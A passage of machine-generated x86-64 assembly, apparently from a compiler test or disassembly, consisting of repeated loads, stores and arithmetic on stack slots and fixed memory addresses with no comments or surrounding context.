movsx eax, byte [rsp + 0x217]
movsx ecx, byte [rsp + 0x313]
sub eax, ecx
mov byte [0x1401cc096], al
lea rax, [rsp + 0x15d0]
mov qword [rsp + 0xbef8], rax
mov rax, qword [rsp + 0x9d78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x318]
add eax, ecx
mov rcx, qword [rsp + 0xb9e8]
mov byte [rcx], al
lea rax, [rsp + 0x1804]
mov qword [rsp + 0xbf00], rax
movsx eax, byte [rsp + 0x120]
movsx ecx, byte [rsp + 0x21a]
add eax, ecx
mov rcx, qword [rsp + 0xa038]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b38]
mov rcx, qword [rsp + 0xae98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x94d0], rax
lea rax, [rsp + 0xa178]
mov qword [rsp + 0xbf08], rax
mov rax, qword [rsp + 0xb620]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x513c], eax
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
mov dword [rsp + 0x5380], eax
movsx eax, byte [rsp + 0x2be]
mov rcx, qword [rsp + 0xa1d8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2ed], al
movsx eax, word [rsp + 0x17dc]
mov rcx, qword [0x1401cdc88]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401cd9a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2bc]
movzx ecx, byte [rsp + 0x170]
shl eax, cl
mov byte [rsp + 0x251], al
mov rax, qword [rsp + 0xac70]
movzx eax, word [rax]
mov word [rsp + 0x1a2c], ax
mov rax, qword [rsp + 0xb500]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78]
or eax, ecx
mov rcx, qword [rsp + 0xb120]
mov byte [rcx], al
lea rax, [rsp + 0x5158]
mov qword [rsp + 0xbf10], rax
mov rax, qword [rsp + 0xa248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa270]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9420]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0xa500]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e58], eax
mov rax, qword [rsp + 0xbd88]
mov rcx, qword [rsp + 0xb110]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x84d8], rax
movsx eax, byte [rsp + 0xf4]
mov rcx, qword [rsp + 0x9620]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1fe], al
movzx eax, word [rsp + 0x16d0]
mov rcx, qword [rsp + 0xbde0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc188], ax
lea rax, [rsp + 0x2c3]
mov qword [rsp + 0xbf18], rax
movsx eax, byte [rsp + 0x246]
mov rcx, qword [rsp + 0xa038]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x314], al
movzx eax, word [rsp + 0x14d0]
mov word [rsp + 0x1a30], ax
mov rax, qword [rsp + 0xaa30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xafc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9888]
mov rcx, qword [0x1401cc028]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb548], rax
mov eax, dword [rsp + 0x5270]
mov dword [rsp + 0x5384], eax
mov eax, dword [rsp + 0x4fdc]
mov ecx, dword [rsp + 0x525c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov dword [rcx], eax
mov rax, qword [0x1401cdc78]
movzx eax, word [rax]
mov word [rsp + 0x1a34], ax
lea rax, [rsp + 0x1dc]
mov qword [0x1401cdd98], rax
movzx eax, byte [rsp + 0x310]
movzx ecx, byte [rsp + 0x112]
sub eax, ecx
mov rcx, qword [rsp + 0xb178]
mov byte [rcx], al
movzx eax, word [rsp + 0x15d4]
mov rcx, qword [0x1401cd8f0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xad38]
mov word [rcx], ax
lea rax, [rsp + 0x1424]
mov qword [rsp + 0xbf20], rax
mov eax, dword [rsp + 0x5004]
mov rcx, qword [rsp + 0x93c8]
mov qword [rsp + 0xbf28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf28]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x97c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa628]
mov rax, qword [rax]
mov qword [rsp + 0xbf30], rax
mov eax, dword [rsp + 0x51d0]
mov ecx, dword [0x1401cd720]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6f8]
mov rcx, qword [rsp + 0xb170]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaca8], rax
lea rax, [rsp + 0x1744]
mov qword [rsp + 0xbf38], rax
mov rax, qword [rsp + 0xa090]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9670]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc01b], al
movsx eax, byte [rsp + 0x1dd]
mov rcx, qword [rsp + 0xad20]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb878]
mov byte [rcx], al
movzx eax, word [0x1401cc124]
mov word [rsp + 0x1a38], ax
mov rax, qword [rsp + 0xa1f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e70]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa5e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x22e]
mov byte [rsp + 0x32d], al
mov eax, dword [rsp + 0x50ac]
mov ecx, dword [rsp + 0x4c2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e80], eax
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0xae48]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb100], rax
mov rax, qword [rsp + 0x98b8]
mov qword [rsp + 0xbf40], rax
mov rax, qword [rsp + 0x9df0]
mov rcx, qword [rsp + 0x9fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5250], eax
movsx eax, word [rsp + 0x1698]
movsx ecx, word [rsp + 0x15cc]
imul eax, ecx
mov rcx, qword [0x1401cd980]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2bd]
mov byte [rsp + 0x32e], al
mov rax, qword [0x1401cdab8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf28]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbb00]
mov word [rcx], ax
mov rax, qword [rsp + 0xade0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1628]
add eax, ecx
mov rcx, qword [rsp + 0xb808]
mov word [rcx], ax
lea rax, [rsp + 0xd6]
mov qword [rsp + 0xbf48], rax
mov rax, qword [rsp + 0xb7b0]
mov rcx, qword [rsp + 0xb040]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa020], rax
lea rax, [rsp + 0x4ba8]
mov qword [rsp + 0xbf50], rax
mov rax, qword [rsp + 0x9760]
mov rcx, qword [rsp + 0x9468]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9df0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa0d0]
mov rcx, qword [rsp + 0x9040]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x82e8], rax
lea rax, [rsp + 0x2dc]
mov qword [0x1401cdda0], rax
mov rax, qword [rsp + 0xa4f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d9]
sar eax, cl
mov byte [rsp + 0xf1], al
mov rax, qword [0x1401cdd98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x276]
or eax, ecx
mov byte [rsp + 0x1fc], al
mov rax, qword [rsp + 0x9da8]
movzx eax, word [rax]
mov word [rsp + 0x1a3c], ax
movsx eax, word [rsp + 0x195c]
movsx ecx, word [rsp + 0x1168]
cdq
idiv ecx
mov word [rsp + 0x1504], ax
mov rax, qword [rsp + 0x8ef0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401cc010]
shl rax, cl
mov rcx, qword [rsp + 0xa2e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5014]
mov dword [rsp + 0x5388], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb7f8], rax
mov eax, dword [rsp + 0x4f04]
mov dword [rsp + 0x538c], eax
mov rax, qword [rsp + 0xa7c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa348]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc0e8], ax
mov rax, qword [rsp + 0xb850]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd78c]
sub eax, ecx
mov rcx, qword [rsp + 0x93e8]
mov byte [rcx], al
lea rax, [rsp + 0x1828]
mov qword [rsp + 0xbf58], rax
movsx eax, byte [rsp + 0x2b1]
movsx ecx, byte [rsp + 0x2b5]
add eax, ecx
mov byte [rsp + 0x26d], al
movzx eax, word [rsp + 0x16dc]
movzx ecx, word [0x1401cc110]
add eax, ecx
mov word [rsp + 0x15a0], ax
lea rax, [rsp + 0x4f10]
mov qword [rsp + 0xbf60], rax
mov rax, qword [rsp + 0x9d40]
mov rcx, qword [rsp + 0xb110]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8458], rax
mov rax, qword [rsp + 0xa848]
mov qword [rsp + 0xbf68], rax
mov rax, qword [rsp + 0xb598]
mov ecx, dword [rsp + 0x50fc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50d4], eax
mov rax, qword [rsp + 0x9bc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x198c]
and eax, ecx
mov word [0x1401cc18c], ax
movsx eax, word [0x1401cd834]
mov rcx, qword [rsp + 0x9b08]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xb580]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ef]
mov byte [rsp + 0x32f], al
mov rax, qword [rsp + 0xb900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9f60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x219], al
movzx eax, word [rsp + 0x18fc]
mov word [rsp + 0x1a40], ax
mov rax, qword [rsp + 0x8438]
mov rcx, qword [rsp + 0x9130]
mov qword [rsp + 0xbf70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf70]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x95d0], rax
mov rax, qword [rsp + 0xafb0]
mov rcx, qword [rsp + 0xb708]
mov qword [rsp + 0xbf78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf78]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9de0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x52bc]
mov dword [rsp + 0x5390], eax
mov rax, qword [rsp + 0x9b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5314]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ea8], eax
mov rax, qword [rsp + 0xaea0]
movzx eax, word [rax]
mov word [0x1401cdda8], ax
movzx eax, byte [rsp + 0x1dc]
mov byte [rsp + 0x330], al
mov rax, qword [rsp + 0xacf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1508]
or eax, ecx
mov rcx, qword [rsp + 0xad38]
mov word [rcx], ax
movsx eax, word [rsp + 0xff8]
movsx ecx, word [rsp + 0x10f8]
add eax, ecx
mov rcx, qword [rsp + 0xa618]
mov word [rcx], ax
mov rax, qword [0x1401cdbe0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae50]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7e], al
mov rax, qword [rsp + 0x9ad0]
mov rcx, qword [rsp + 0xb8c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9128]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb708]
mov rax, qword [rax]
mov qword [rsp + 0xbf80], rax
mov rax, qword [rsp + 0x9f00]
mov rcx, qword [rsp + 0xaff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50ec], eax
mov eax, dword [rsp + 0x4f38]
mov dword [rsp + 0x5394], eax
mov rax, qword [rsp + 0x9608]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x25d]
sub eax, ecx
mov byte [0x1401cc097], al
mov rax, qword [rsp + 0xb3d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ba8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9878]
mov byte [rcx], al
movsx eax, byte [rsp + 0x30a]
mov rcx, qword [rsp + 0x9bb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb408]
mov byte [rcx], al
movzx eax, byte [rsp + 0x25e]
mov byte [rsp + 0x331], al
movzx eax, word [0x1401cc158]
mov rcx, qword [rsp + 0xaf28]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa348]
mov word [rcx], ax
lea rax, [rsp + 0x9e18]
mov qword [rsp + 0xbf88], rax
mov rax, qword [rsp + 0xa9e8]
mov rcx, qword [rsp + 0xa750]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4c24], eax
mov rax, qword [rsp + 0x94b8]
mov ecx, dword [rsp + 0x51b8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb898]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb478]
mov rax, qword [rax]
mov qword [rsp + 0xbf90], rax
mov rax, qword [rsp + 0x94f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa820]
movsx ecx, word [rcx]
imul eax, ecx
mov word [0x1401cc190], ax
movzx eax, word [rsp + 0x1a00]
mov rcx, qword [rsp + 0x9938]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xad58]
mov word [rcx], ax
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0x332], al
mov rax, qword [rsp + 0x8f68]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd730]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x92a8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1900]
movsx ecx, word [rsp + 0x1768]
sar eax, cl
mov word [rsp + 0x1a28], ax
lea rax, [rsp + 0x5150]
mov qword [rsp + 0xbf98], rax
mov rax, qword [rsp + 0xb3d8]
mov rcx, qword [rsp + 0xa400]
mov qword [rsp + 0xbfa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbfa0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa340]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov qword [rsp + 0xbfa8], rax
mov rax, qword [rsp + 0x9a50]
mov rcx, qword [rsp + 0xbdb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0xa988]
movzx eax, word [rax]
mov word [rsp + 0x1a44], ax
mov rax, qword [rsp + 0xb4e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1688]
sub eax, ecx
mov word [0x1401cc07c], ax
mov rax, qword [rsp + 0xa828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x25d]
and eax, ecx
mov rcx, qword [rsp + 0x9050]
mov byte [rcx], al
movsx eax, byte [rsp + 0x2dc]
mov rcx, qword [rsp + 0xba20]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x28c], al
movzx eax, byte [rsp + 0x27a]
mov byte [rsp + 0x333], al
mov rax, qword [rsp + 0xb750]
mov rcx, qword [rsp + 0xb590]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9808]
mov qword [rcx], rax
lea rax, [rsp + 0xa2a0]
mov qword [rsp + 0xbfb0], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5284]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90e8]
mov ecx, dword [rsp + 0x4f30]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9278]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x282]
movsx ecx, byte [rsp + 0x296]
add eax, ecx
mov byte [rsp + 0x17b], al
lea rax, [rsp + 0x1780]
mov qword [0x1401cddb0], rax
movsx eax, word [rsp + 0x1734]
movsx ecx, word [rsp + 0x1514]
add eax, ecx
mov rcx, qword [rsp + 0xb808]
mov word [rcx], ax
lea rax, [rsp + 0x1894]
mov qword [rsp + 0xbfb8], rax
mov rax, qword [rsp + 0xac08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb408]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbd48]
mov byte [rcx], al
mov rax, qword [rsp + 0xaab0]
mov rcx, qword [rsp + 0xb100]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa238], rax
mov rax, qword [rsp + 0xa3e8]
mov eax, dword [rax]
mov dword [rsp + 0x5398], eax
mov rax, qword [rsp + 0xbf40]
mov rcx, qword [rsp + 0xbcb8]
mov qword [rsp + 0xbfc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbfc0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa6a8], rax
mov rax, qword [rsp + 0x9048]
mov eax, dword [rax]
mov dword [rsp + 0x539c], eax
movzx eax, byte [rsp + 0x2df]
movzx ecx, byte [rsp + 0x333]
xor eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov byte [rcx], al
mov rax, qword [rsp + 0xad58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb630]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc174], ax
movsx eax, byte [rsp + 0x29a]
movsx ecx, byte [rsp + 0x2c4]
shl eax, cl
mov rcx, qword [rsp + 0xac38]
mov byte [rcx], al
lea rax, [rsp + 0x18dc]
mov qword [rsp + 0xbfc8], rax
mov rax, qword [rsp + 0x9578]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbea0]
mov byte [rcx], al
lea rax, [rsp + 0x7fb8]
mov qword [rsp + 0xbfd0], rax
mov eax, dword [rsp + 0x4e54]
mov ecx, dword [0x1401cc01c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5148], eax
lea rax, [rsp + 0x84e0]
mov qword [rsp + 0xbfd8], rax
mov rax, qword [rsp + 0xb3a0]
mov ecx, dword [0x1401cd720]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f88]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1568]
movsx ecx, word [rsp + 0xee8]
imul eax, ecx
mov word [rsp + 0x182c], ax
mov rax, qword [rsp + 0xb350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x157c]
and eax, ecx
mov word [0x1401cc194], ax
movzx eax, byte [0x1401cc00d]
mov byte [rsp + 0x334], al
mov rax, qword [rsp + 0xadf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb060]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa7c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0x335], al
movsx eax, word [rsp + 0x1858]
movsx ecx, word [rsp + 0xebc]
add eax, ecx
mov rcx, qword [rsp + 0x9980]
mov word [rcx], ax
mov rax, qword [rsp + 0xa058]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9338], rax
lea rax, [rsp + 0xb860]
mov qword [rsp + 0xbfe0], rax
mov rax, qword [rsp + 0xa948]
mov ecx, dword [rsp + 0x5374]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaf38]
mov dword [rcx], eax
lea rax, [rsp + 0x5198]
mov qword [rsp + 0xbfe8], rax
mov rax, qword [rsp + 0xa038]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x273]
sub eax, ecx
mov rcx, qword [0x1401cd878]
mov byte [rcx], al
movzx eax, word [0x1401cc17c]
movzx ecx, word [rsp + 0x1948]
sar eax, cl
mov word [rsp + 0x1404], ax
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x1f5]
shl eax, cl
mov byte [rsp + 0x30e], al
lea rax, [rsp + 0x18d0]
mov qword [rsp + 0xbff0], rax
movsx eax, byte [rsp + 0x299]
movsx ecx, byte [rsp + 0x238]
or eax, ecx
mov byte [rsp + 0x234], al
lea rax, [rsp + 0xaad8]
mov qword [rsp + 0xbff8], rax
mov eax, dword [rsp + 0x4f60]
mov ecx, dword [rsp + 0x5388]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9df0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x52dc]
mov dword [rsp + 0x53a0], eax
mov rax, qword [rsp + 0xa870]
mov rcx, qword [rsp + 0xa540]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa1b8], rax
lea rax, [rsp + 0x186c]
mov qword [0x1401cddb8], rax
movzx eax, byte [rsp + 0x201]
movzx ecx, byte [0x1401cc05b]
add eax, ecx
mov byte [rsp + 0x1ea], al
lea rax, [rsp + 0x20f]
mov qword [rsp + 0xc000], rax
mov rax, qword [rsp + 0xbcf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16a8], ax
movzx eax, byte [rsp + 0x274]
mov byte [rsp + 0x336], al
mov rax, qword [rsp + 0xabf0]
mov rcx, qword [rsp + 0xab80]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaed8], rax
mov rax, qword [rsp + 0xad98]
mov rcx, qword [rsp + 0xa310]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa4b8]
mov qword [rcx], rax
mov eax, dword [0x1401cd710]
mov dword [rsp + 0x53a4], eax
mov rax, qword [rsp + 0xb2a8]
mov ecx, dword [rsp + 0x5200]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f24], eax
mov rax, qword [rsp + 0xb498]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb580]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401cd940]
mov word [rcx], ax
movzx eax, byte [0x1401cc066]
mov byte [rsp + 0x337], al
movzx eax, word [rsp + 0x14e4]
mov rcx, qword [rsp + 0x9340]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x19a4], ax
mov rax, qword [rsp + 0x9c40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c90]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xab28]
mov byte [rcx], al
movzx eax, word [rsp + 0x196c]
movzx ecx, word [rsp + 0x1054]
add eax, ecx
mov word [rsp + 0x1470], ax
mov rax, qword [rsp + 0xbb90]
mov rcx, qword [rsp + 0xb928]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa9f0]
mov qword [rcx], rax
mov eax, dword [0x1401cd720]
mov dword [rsp + 0x53a8], eax
mov rax, qword [rsp + 0xa450]
mov rcx, qword [rsp + 0x8d10]
mov qword [rsp + 0xc008], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc008]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xacb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa158]
mov ecx, dword [rsp + 0x4f88]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x519c], eax
lea rax, [0x1401cc00e]
mov qword [0x1401cddc0], rax
lea rax, [rsp + 0x14e8]
mov qword [rsp + 0xc010], rax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [rsp + 0x269]
sar eax, cl
mov byte [rsp + 0x1f0], al
lea rax, [rsp + 0x16e0]
mov qword [rsp + 0xc018], rax
mov rax, qword [0x1401cd9c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9590]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1750], ax
lea rax, [rsp + 0xa900]
mov qword [rsp + 0xc020], rax
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0xa970]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xa4a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c70]
mov dword [rcx], eax
lea rax, [rsp + 0x5264]
mov qword [rsp + 0xc028], rax
mov rax, qword [rsp + 0x9430]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9790]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd78d], al
mov rax, qword [rsp + 0xb8a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1508], ax
movzx eax, byte [rsp + 0x203]
mov byte [rsp + 0x338], al
movzx eax, word [rsp + 0x1678]
movzx ecx, word [0x1401cc194]
add eax, ecx
mov word [rsp + 0x1588], ax
movsx eax, word [rsp + 0x1a14]
mov rcx, qword [rsp + 0x9ef8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a38], ax
lea rax, [rsp + 0x5308]
mov qword [rsp + 0xc030], rax
mov rax, qword [rsp + 0x9ad0]
mov rcx, qword [rsp + 0x9350]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb870], rax
lea rax, [rsp + 0x4f34]
mov qword [rsp + 0xc038], rax
mov rax, qword [rsp + 0xa028]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb868]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0xb3f0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd7dd]
sub eax, ecx
mov byte [0x1401cc09f], al
mov rax, qword [rsp + 0xbbf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x161c]
sar eax, cl
mov word [rsp + 0x19a4], ax
lea rax, [rsp + 0x28f]
mov qword [rsp + 0xc040], rax
mov rax, qword [rsp + 0xb248]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1554]
shl eax, cl
mov rcx, qword [rsp + 0xba70]
mov word [rcx], ax
lea rax, [rsp + 0x2c9]
mov qword [rsp + 0xc048], rax
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0xb010]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4ed4], eax
mov rax, qword [rsp + 0xabd0]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5330], eax
mov rax, qword [rsp + 0xbae8]
mov rax, qword [rax]
mov qword [rsp + 0xc050], rax
mov rax, qword [rsp + 0x9c28]
mov rcx, qword [rsp + 0xad98]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbd10]
mov qword [rcx], rax
mov rax, qword [0x1401cd818]
movzx eax, word [rax]
mov word [0x1401cddc8], ax
lea rax, [rsp + 0x179c]
mov qword [rsp + 0xc058], rax
movzx eax, byte [rsp + 0x24f]
movzx ecx, byte [rsp + 0x328]
sub eax, ecx
mov rcx, qword [rsp + 0xad68]
mov byte [rcx], al
lea rax, [rsp + 0x31b]
mov qword [rsp + 0xc060], rax
movsx eax, byte [rsp + 0x2af]
mov rcx, qword [rsp + 0xbe08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x334], al
mov rax, qword [rsp + 0x96c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e70], rax
mov rax, qword [rsp + 0xb798]
mov eax, dword [rax]
mov dword [rsp + 0x53ac], eax
mov rax, qword [rsp + 0xa8a8]
mov ecx, dword [rsp + 0x4e70]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x51b0], eax
mov rax, qword [rsp + 0xb790]
mov rax, qword [rax]
mov qword [rsp + 0xc068], rax
mov rax, qword [rsp + 0xa6d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb8b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb570]
mov byte [rcx], al
mov rax, qword [rsp + 0xa5a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb390]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc198], ax
movsx eax, byte [rsp + 0x2b9]
movsx ecx, byte [rsp + 0xaa]
and eax, ecx
mov byte [rsp + 0x293], al
lea rax, [0x1401cc074]
mov qword [rsp + 0xc070], rax
mov rax, qword [rsp + 0xbba8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x171c]
sub eax, ecx
